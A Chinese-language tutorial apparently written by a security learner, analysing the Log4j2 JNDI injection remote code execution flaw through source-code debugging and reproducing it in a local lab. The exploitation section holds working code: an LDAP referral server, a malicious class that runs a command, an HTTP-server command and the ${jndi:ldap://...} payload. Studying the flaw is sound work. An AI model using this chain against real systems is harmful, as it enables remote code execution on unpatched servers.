一,介绍

官方介绍:

Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.

蹩脚翻译:

Apache Log4j 2是对Log4j的升级,它对其前身Log4j 1.x的版本提供了显著的改进,并且在修复Logback体系结构中的一些固有问题的同时,提供了Logback中可用的许多改进。

害,其实log4j2简单点说就是一个日志记录工具,然后log4j2这个版本相对于log4j1.x有了改进

log4j2 在目前大多数产品上都有使用,从下面的maven仓库的使用来看,基本上中小型开发都存在大量的使用,就不论企业级软件,政府软件了。
image.png

只要涉及到高并发的程序那都逃不过log4j2,毕竟其只针对java有效

二,涉及版本

JDK:

  • 6u45、7u21之后 :rmi无法利用
  • 6u141、7u131、8u121之后 :rmi无法使用,但是ldap人可以利用
  • 6u211、7u201、8u191之后:ldap直接也被给ban了

log4j2:2.0 <= Apache Log4j <= 2.15.0-rc1

三,利用途径

0x00 环境介绍

  1. windows10
  2. jdk8u65
  3. log4j version : 2.14.1
  4. tomcat8.5.45 (因为tomcat7在测试的时候无法利用)

    其实这个可以直接在普通的application项目下完成,但是考虑到实际利用环境都为web,所以这里就使用web环境


0x01 源码DEBUG

这里的话其实我们可以直接在logger.error("${jndi:ldap://127.0.0.1/exp}")这个位置打断点,然后一路跟下去,这也算最笨的办法吧。最好是在主要位置打断点,不然你的payload根本没进主要方法而是跑偏了你还在那儿咔咔往下打
image.png

image.png
上图可以很直观的看到他的整个调用过程,当然这个是jndi+ldap,其实在这上面的话,包括正常日志都是会经过toText()方法的。至于rmi的后面看看

在上述整个调用过程中,有很多基本都是所有error类型的日志内容都会走过的路,但是到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format() lines=112这个位置的时候就会对内容进行判断,判断是否存在${同时出现,源码如下:

  1. @Plugin(name = "MessagePatternConverter", category = PatternConverter.CATEGORY)
  2. @ConverterKeys({ "m", "msg", "message" })
  3. @PerformanceSensitive("allocation")
  4. public final class MessagePatternConverter extends LogEventPatternConverter {
  5. ................
  6. /**
  7. * {@inheritDoc}
  8. */
  9. @Override
  10. public void format(final LogEvent event, final StringBuilder toAppendTo) {
  11. final Message msg = event.getMessage();
  12. if (msg instanceof StringBuilderFormattable) {
  13. final boolean doRender = textRenderer != null;
  14. final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
  15. final int offset = workingBuilder.length();
  16. if (msg instanceof MultiFormatStringBuilderFormattable) {
  17. ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
  18. } else {
  19. ((StringBuilderFormattable) msg).formatTo(workingBuilder);
  20. }
  21. // TODO can we optimize this?
  22. if (config != null && !noLookups) {
  23. //基本上日志都会经过这儿,然后遍历匹配是否存在 ${ 这个玩意儿,所以当我们日志内容为$1111的时候他是直接到if语句后的return的
  24. for (int i = offset; i < workingBuilder.length() - 1; i++) {
  25. //能否完成命令执行这里是入口
  26. if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
  27. final String value = workingBuilder.substring(offset, workingBuilder.length());
  28. workingBuilder.setLength(offset);
  29. //进来后会执行replace()方法
  30. workingBuilder.append(config.getStrSubstitutor().replace(event, value));
  31. }
  32. }
  33. }
  34. if (doRender) {
  35. textRenderer.render(workingBuilder, toAppendTo);
  36. }
  37. return;
  38. }
  39. if (msg != null) {
  40. String result;
  41. if (msg instanceof MultiformatMessage) {
  42. result = ((MultiformatMessage) msg).getFormattedMessage(formats);
  43. } else {
  44. result = msg.getFormattedMessage();
  45. }
  46. if (result != null) {
  47. toAppendTo.append(config != null && result.contains("${")
  48. ? config.getStrSubstitutor().replace(event, result) : result);
  49. } else {
  50. toAppendTo.append("null");
  51. }
  52. }
  53. }
  54. }

差不多这个地方的话就是命令执行的入口了,这里会执行replace()方法,所以继续往下

  1. public class StrSubstitutor implements ConfigurationAware {
  2. ....................................
  3. /**
  4. * Replaces all the occurrences of variables with their matching values
  5. * from the resolver using the given source string as a template.
  6. *
  7. * @param event The current LogEvent if there is one.
  8. * @param source the string to replace in, null returns null
  9. * @return the result of the replace operation
  10. */
  11. public String replace(final LogEvent event, final String source) {
  12. if (source == null) {
  13. return null;
  14. }
  15. final StringBuilder buf = new StringBuilder(source);
  16. if (!substitute(event, buf, 0, source.length())) {
  17. return source;
  18. }
  19. return buf.toString();
  20. }
  21. .....................................................
  22. }

执行到这时会执行替换操作,代码有点长,只贴主要代码,不然你会看烦的

  1. public class StrSubstitutor implements ConfigurationAware {
  2. ....................................................
  3. private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
  4. List<String> priorVariables) {
  5. //这一坨循环判断有点多,看着堵人
  6. while (pos < bufEnd) {
  7. final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
  8. if (startMatchLen == 0) {
  9. pos++;
  10. } else // found variable start marker
  11. if (pos > offset && chars[pos - 1] == escape) {
  12. // escaped
  13. //其实这里应该是删除 '$' 符号
  14. buf.deleteCharAt(pos - 1);
  15. chars = getChars(buf);
  16. //此时剩下的chars就比原来少一位
  17. lengthChange--;
  18. altered = true;
  19. bufEnd--;
  20. } else {
  21. // find suffix 查找后缀
  22. final int startPos = pos;
  23. pos += startMatchLen;
  24. int endMatchLen = 0;
  25. int nestedVarCount = 0;
  26. while (pos < bufEnd) {
  27. if (substitutionInVariablesEnabled&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
  28. // found a nested variable start
  29. nestedVarCount++;
  30. pos += endMatchLen;
  31. continue;
  32. }
  33. //循环查找后缀
  34. endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
  35. if (endMatchLen == 0) {//如果在当前指定位置没找到,指针后移
  36. pos++;
  37. } else {
  38. //执行到这说明已经找到后缀了
  39. // found variable end marker
  40. if (nestedVarCount == 0) {
  41. //这里的话可以简单的理解为分割字符串从index=1开始
  42. String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
  43. if (substitutionInVariablesEnabled) {
  44. final StringBuilder bufName = new StringBuilder(varNameExpr);
  45. substitute(event, bufName, 0, bufName.length());
  46. varNameExpr = bufName.toString();
  47. }
  48. pos += endMatchLen;
  49. final int endPos = pos;
  50. String varName = varNameExpr;
  51. String varDefaultValue = null;
  52. if (valueDelimiterMatcher != null) {
  53. final char [] varNameExprChars = varNameExpr.toCharArray();
  54. int valueDelimiterMatchLen = 0;
  55. for (int i = 0; i < varNameExprChars.length; i++) {
  56. // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
  57. if (!substitutionInVariablesEnabled&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
  58. break;
  59. }
  60. if (valueEscapeDelimiterMatcher != null) {
  61. int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
  62. if (matchLen != 0) {
  63. String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
  64. varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
  65. for (int j = i + matchLen; j < varNameExprChars.length; ++j){
  66. if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
  67. varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
  68. varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
  69. break;
  70. }
  71. }
  72. break;
  73. } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
  74. varName = varNameExpr.substring(0, i);
  75. varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
  76. break;
  77. }
  78. } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
  79. varName = varNameExpr.substring(0, i);
  80. varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
  81. break;
  82. }
  83. }
  84. }
  85. // on the first call initialize priorVariables
  86. if (priorVariables == null) {
  87. priorVariables = new ArrayList<>();
  88. priorVariables.add(new String(chars, offset, length + lengthChange));
  89. }
  90. // handle cyclic substitution
  91. checkCyclicSubstitution(varName, priorVariables);
  92. priorVariables.add(varName);
  93. //---------------------------------------------------------------------------
  94. //这个地方就是万恶之源的口口上了
  95. // resolve the variable 就会去处理变量,而这个方法里就调用了lookup()
  96. String varValue = resolveVariable(event, varName, buf, startPos, endPos);
  97. //---------------------------------------------------------------------------
  98. ..................................................................
  99. }
  100. nestedVarCount--;
  101. pos += endMatchLen;
  102. }
  103. }
  104. }
  105. }
  106. }
  107. ........................................................................
  108. }

这个时候继续向下跟到org.apache.logging.log4j.core.lookup.StrSubstitutor # resolveVariable()方法,在方法里调用了resolver.lookup(event, variableName)

  1. public class StrSubstitutor implements ConfigurationAware {
  2. ..........................................
  3. protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
  4. final int startPos, final int endPos) {
  5. final StrLookup resolver = getVariableResolver();
  6. if (resolver == null) {
  7. return null;
  8. }
  9. //在这调用了lookup()方法
  10. return resolver.lookup(event, variableName);
  11. }
  12. ..........................................
  13. }

在我们继续跟下去后其实在这进行的对lookup()的调用
image.png
这边可以看到其实lookup支持的类型还是蛮多的,至于这个Map是哪里来的。初始化Interpolator是创建的,然后初始化类,这样的话保证了不会被恶意使用
image.png
这就是在初始化的时候进行的操作,当然是创建Interpolator这个对象的时候

image.png
在调用JndiManager里面的lookup()时,就完成了执行,至于lookup()具体是怎么完成实现的,本人初入安全还没搞清楚,但到这就是妥妥的调用远程的类了

到这里基本上就明白了了为什么存在jndi注入了,以及实施rce的条件了

搞清楚了原理我们就能对复现有了更好的了解了

0x02 代码利用

因为这个利用是基于ldap服务的,所以的话我们不仅需要构造恶意类同时还需要开启ldap服务,这个使用java起ldap服务网上教程也挺多的,我这就贴一个我自己用的

  1. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  3. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  4. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  6. import com.unboundid.ldap.sdk.*;
  7. import javax.net.ServerSocketFactory;
  8. import javax.net.SocketFactory;
  9. import javax.net.ssl.SSLSocketFactory;
  10. import java.net.InetAddress;
  11. import java.text.MessageFormat;
  12. import java.util.List;
  13. /**
  14. * @Author Bamboo
  15. * @Date 2021/12/13 18:00
  16. * @Version 1.0
  17. */
  18. public class LdapServer {
  19. private static final String javaCodeBase = "http://127.0.0.1:8080/";//这个的话是服务端的IP和port
  20. private static final String javaClassName = "Exploit";//这个名字写不写死无所谓,反正使用result.getRequest().getBaseDN()能获取到,不重要
  21. public static void main(String[] args) throws Exception {
  22. int port = 1388;
  23. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
  24. config.setListenerConfigs(new InMemoryListenerConfig(
  25. "listen",
  26. InetAddress.getByName("0.0.0.0"),
  27. port,
  28. ServerSocketFactory.getDefault(),
  29. SocketFactory.getDefault(),
  30. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  31. config.addInMemoryOperationInterceptor(new EvalInMemoryOperationInterceptor());
  32. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  33. System.out.println("Listening on 0.0.0.0:" + port);
  34. ds.startListening();
  35. }
  36. public static class EvalInMemoryOperationInterceptor extends InMemoryOperationInterceptor {
  37. @Override
  38. public void processSearchResult(InMemoryInterceptedSearchResult result) {
  39. String baseDN = result.getRequest().getBaseDN();
  40. ReadOnlySearchRequest request = result.getRequest();
  41. System.out.println(request.getBaseDN());
  42. Entry e = new Entry(baseDN);
  43. e.addAttribute("javaClassName", javaClassName);
  44. e.addAttribute("javaFactory", javaClassName);
  45. e.addAttribute("javaCodeBase", javaCodeBase);
  46. e.addAttribute("objectClass", "javaNamingReference");
  47. System.out.println(MessageFormat.format("Send LDAP reference result for {0} redirecting to {1}{2}.class", baseDN, javaCodeBase, javaClassName));
  48. try {
  49. result.sendSearchEntry(e);
  50. } catch (LDAPException ex) {
  51. ex.printStackTrace();
  52. }
  53. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  54. }
  55. }
  56. }

ldap服务起来后我们还需要用python起一个http服务,你用其他的啥啥啥也可以 python3 -m http.server 8080具体看你自己的python版本吧
其实ldap服务看起来有点像Nginx服务这种的,做转接
当然还有一个最重要的就是恶意类,就这么多,然后变异成class文件

  1. public class Exploit {
  2. static {
  3. try {
  4. Runtime.getRuntime().exec("calc");//就他恶意
  5. } catch (IOException e) {
  6. e.printStackTrace();
  7. }
  8. }
  9. }

然后就是我们的payload了,现在都是烂大街了,其实如果认真读了前面的详解,看到这个payload多多少少还是有那么一些亲切了

  1. ${jndi:ldap://127.0.0.1:1389/Exploit}

image.png
这就是一个简单的实验,也不知道咋了css,js没加载进来就很尴尬,但是目的实现了就行了
这就是log4j2 rce利用了,后来官方更新了rc1,可惜又被饶了就很尴尬